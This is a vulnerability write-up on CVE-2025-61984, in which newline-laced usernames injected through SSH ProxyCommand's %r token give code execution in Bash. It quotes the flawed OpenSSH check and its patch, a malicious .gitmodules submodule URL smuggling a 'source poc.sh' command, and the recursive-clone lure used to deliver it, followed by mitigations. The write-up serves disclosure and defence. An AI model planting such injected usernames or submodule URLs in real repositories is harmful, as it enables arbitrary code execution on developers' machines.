CVE-2025-61984

Bash a Newline: The SSH ProxyCommand RCE You Didn't Know You Had

Alon Barad
Alon Barad
Software Engineer

Jan 6, 2026·9 min read

Executive Summary (TL;DR)

Craft a malicious username with a newline and a syntax error, combine it with a misconfigured SSH ProxyCommand, and trick a developer into cloning a Git repo. The result? Arbitrary code execution on their machine. Your Git submodules might be betraying you.

A vulnerability exists in OpenSSH versions prior to 10.1 where the `ssh` client fails to properly sanitize control characters within usernames originating from untrusted sources, such as the command line or configuration file expansions. When a user has a specific `ProxyCommand` configured with the remote username token (`%r`), an attacker can craft a malicious username containing shell metacharacters (like newlines) and a syntax error. This combination tricks certain shells (like Bash) into executing arbitrary commands on the client's machine, leading to remote code execution. The attack is typically delivered via social engineering, for example, by convincing a developer to clone a malicious Git repository with a crafted submodule URL.

The Humble ProxyCommand: A Gateway to Mayhem

OpenSSH is the Swiss Army knife of remote access, a tool so ubiquitous that we often forget the sheer complexity humming beneath its stoic command-line interface. One of its more powerful, and consequently more dangerous, features is ProxyCommand. At its core, it's a simple directive: instead of connecting directly to an SSH server, first run this local command and use its standard input/output as the transport. It's the go-to solution for jumping through bastion hosts or navigating byzantine corporate networks.

To make this feature flexible, ProxyCommand supports %-sequence expansion. Tokens like %h (hostname), %p (port), and %r (remote username) are dynamically substituted before the command is executed. This is where convenience meets peril. Developers love these shortcuts, as they allow for generic, reusable configuration snippets. For an attacker, however, every dynamic expansion is a potential injection point—a seam in the fabric of security that can be picked at.

This is the story of one such token, %r. It seems innocent enough, simply representing the username for the remote connection. But what happens when that username isn't a simple string like admin or dev? What if it's a carefully constructed payload, originating from a source the developer never even considered to be hostile, like the URL of a Git submodule? This is where our journey into CVE-2025-61984 begins, turning a trusted developer tool into a vector for compromise.

A Tale of Two Characters: The Newline and the Syntax Error

The root of this vulnerability isn't a single, simple mistake. It's a beautiful, chaotic symphony of failures. The first and most obvious is the improper handling of control characters. The ssh client, when parsing usernames from sources it deems 'untrusted' (like the command line), failed to strip or reject control characters. The most potent of these is the humble newline (\n), the universal delimiter for shell commands.

But simply injecting a newline isn't enough. Modern shells aren't that foolish. The true genius of this exploit, discovered by David Leadbeater, lies in exploiting a peculiar quirk in how shells like Bash, Fish, and Csh handle exec. When these shells are asked to execute a command that contains a syntax error followed by a newline and then another command, they don't just stop. Instead, they report the syntax error from the first line and then, almost apologetically, proceed to execute the command on the next line.

This is the critical one-two punch. An attacker crafts a username that starts with a shell syntax error (like Bash's $[+]), followed by a newline, followed by their malicious payload. The ssh client blindly accepts this username. The ProxyCommand expands %r, placing the payload into the command string. The shell sees the syntax error, stumbles, and then dutifully executes the payload on the next line. It's like a stage actor flubbing their line, causing the prompter to yell out the next actor's cue, who then walks on stage and continues the play as if nothing happened.

The Smoking Gun: A Missing iscntrl()

When you peel back the layers of abstraction and look at the source code, the oversight becomes painfully obvious. The function responsible for validating the remote username, valid_ruser in ssh.c, was trying to do the right thing. It had a blocklist of characters it knew were dangerous in a shell context: ', ", ;, &, and so on.

Here is the vulnerable code, in all its glory. Notice what's missing.

/*
 * Check that the given remote username is "safe".  It must not contain
 * any shell metacharacters.
 */
static int
valid_ruser(const char *s)
{
	size_t i;
 
	if (*s == '-')
		return 0;
	for (i = 0; s[i] != 0; i++) {
		if (strchr("'`\";&<>|(){}[]", s[i]) != NULL)
			return 0;
		/* Disallow '-' after whitespace */
		if (s[i] == '-' && i > 0 && isspace((u_char)s[i - 1]))
			return 0;
	}
	return 1;
}

It checks for a rogue's gallery of shell metacharacters, but it has a massive blind spot: control characters. There is no check for \n, \r, or any of the other non-printable characters that can wreak havoc when interpreted by a shell. The developers were so focused on the visible threats that they forgot about the invisible ones.

The fix is almost laughably simple, a single line of code that closes this gaping hole. The patched version adds a check using iscntrl(), a standard C library function designed for exactly this purpose.

--- a/ssh.c
+++ b/ssh.c
@@ -668,6 +668,8 @@ valid_ruser(const char *s)
 	if (*s == '-')
 		return 0;
 	for (i = 0; s[i] != 0; i++) {
+	 	if (iscntrl((u_char)s[i]))
+	 		return 0;
 		if (strchr("'`\";&<>|(){}]", s[i]) != NULL)
 			return 0;
 		/* Disallow '-' after whitespace */

One line. That's all that stood between a secure SSH client and a remote code execution vulnerability. It's a humbling reminder that security often hinges on the smallest, most easily overlooked details.

Weaponizing a Git Submodule

So, how does an attacker get this malicious username onto a victim's machine? Trying to convince someone to type ssh '$[+]\nsource poc.sh\n@foo.example.com' is a tall order. The beauty of this attack vector is that you don't have to. You can abuse trusted, automated workflows, and there's no better candidate than Git.

The attack unfolds like a mousetrap. First, the attacker creates a public Git repository. Inside this repository, they define a submodule in the .gitmodules file. The url for this submodule is not a URL at all; it's our crafted payload, which Git will interpret as the username part of an SSH connection string.

[submodule "foo"]
  path = foo
  url = "$[+]\nsource poc.sh\n@foo.example.com:foo"

Next, the attacker tricks the victim—a developer—into cloning their main repository using the --recursive flag. This is a common practice for projects with dependencies. When the developer runs git clone --recursive https://evil.repo/pwn, Git will clone the main project and then attempt to initialize the submodule. It parses the malicious URL and passes it to the ssh client as the username. If the victim has a vulnerable ProxyCommand in ~/.ssh/config (e.g., ProxyCommand nc %h %p -u '%r'), the trap is sprung.

The entire attack flow can be visualized as a chain reaction:

This turns a completely normal developer workflow into a remote code execution vector. The victim never saw it coming, because the attack was hidden inside a tool they use and trust every single day.

Why Panic? It's 'Just' a Low Severity Bug

The official CVSS score for this vulnerability is a paltry 3.6, categorized as 'Low'. This is where the real world and theoretical metrics violently diverge. The score is low because it requires a specific, non-default configuration (ProxyCommand with %r), a specific shell (Bash, not Zsh), and user interaction (cloning a repo). From a purely mathematical standpoint, the conditions are complex, hence the low score.

But let's be realistic. The impact isn't 'Low', it's catastrophic for the affected user. It provides an attacker with full remote code execution capabilities on a developer's machine. A developer's laptop is not just any endpoint; it's the kingdom's keys. It holds source code, credentials, API keys, and private SSH keys that grant access to production infrastructure. A successful exploit here isn't just about popping a shell on one machine; it's a beachhead into an entire organization.

This is the fundamental flaw of relying solely on CVSS scores. They often fail to capture the contextual richness of a target. An RCE on a developer's workstation, who likely has privileged access to countless systems, is infinitely more valuable than an RCE on an isolated, public-facing web server. This vulnerability is a targeted weapon, not a tool for mass exploitation. For the right target, that 3.6 might as well be a 10.0.

Patch, Quote, and Be Paranoid

Stopping the bleeding requires a multi-layered approach, ranging from immediate fixes to long-term security posture changes. The first, and most obvious, step is to patch your systems. Upgrade OpenSSH to version 10.1 or later. This is the only true fix, as it addresses the root cause by properly sanitizing usernames.

If patching immediately isn't an option, you need to perform surgery on your SSH config. The workaround is to meticulously quote the %r token within any ProxyCommand directives. Specifically, you must use single quotes: '%r'. Double quotes are not sufficient, as the shell will still perform expansions within them. This simple change prevents the shell from interpreting the injected control characters and metacharacters, effectively neutralizing the payload.

[!WARNING] A vulnerable configuration looks like this: ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p -u %r A safe configuration looks like this: ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p -u '%r'

Finally, this vulnerability should serve as a wake-up call. We should treat any data that crosses a trust boundary with extreme suspicion. Harden your Git client to prevent it from automatically using SSH for submodules (git config --global protocol.ssh.allow user). Scrutinize your ssh_config for any uses of %-expansion and ask yourself: 'Where does this data come from, and can I trust it?' The fix for CVE-2025-61984 is simple, but the lesson it teaches about trusting external inputs is timeless.

Technical Appendix

CVSS Score
3.6/ 10
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
EPSS Probability
0.01%
Top 100% most exploited

Affected Systems

OpenSSH before 10.1

Affected Versions Detail

Product
Affected Versions
Fixed Version
OpenSSH
OpenBSD
< 10.110.1p1
AttributeDetail
CWE IDCWE-159
CWE NameImproper Handling of Invalid Use of Special Elements
Attack VectorLocal (AV:L)
Attack ComplexityHigh (AC:H)
CVSS v3.1 Score3.6 (Low)
EPSS Score0.007% (0.00007)
ImpactRemote Code Execution on client machine
Exploit StatusPublic PoC Available
KEV StatusNot Listed
CWE-159
Improper Handling of Invalid Use of Special Elements

The product does not properly handle inputs that are not explicitly part of the syntax, but can still be processed. This may include control characters, alternate encodings, or other special characters that can have an effect on processing, even if they are not part of the defined syntax.

Vulnerability Timeline

OpenSSH 10.1 released with a patch for the vulnerability.
2025-10-06
CVE-2025-61984 published in NVD.
2025-10-06
Discoverer David Leadbeater publishes detailed blog post and PoC.
2025-10-06

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.